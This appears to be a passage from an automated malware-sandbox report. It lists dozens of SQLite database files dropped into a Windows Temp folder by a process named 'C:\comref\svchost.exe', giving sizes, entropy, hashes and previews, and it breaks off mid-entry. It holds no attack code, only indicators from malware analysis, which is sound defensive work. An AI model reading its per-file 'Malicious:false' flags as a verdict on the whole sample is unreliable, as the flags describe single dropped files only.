                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XTiotNMabD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XV3hlx60uD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XYjhKWQdvj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XkBMiNyRry

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\XpYnjV47DI

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Y2vzc6ZVEC

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\YHXc22ytIy

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\YKtQ8YzLgC

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\YNCaqzcTUy

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\YwVw1sucmO

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ZKNTTtqrWX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ZSx2ViTqql

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ZUTJny0pSB

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ZVNLCaqJDC

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ZZv3sjqi7s

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ZeikaVn9fa

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ZsNTsinxyb

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\a1oZh4TiLg

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\a3hoHaANuT

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\a5b8gKm3sJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\aGvQKh5vO4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\aUMlH9yrFc

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\aYEcNBvGGQ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\agcW6HZW0l

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
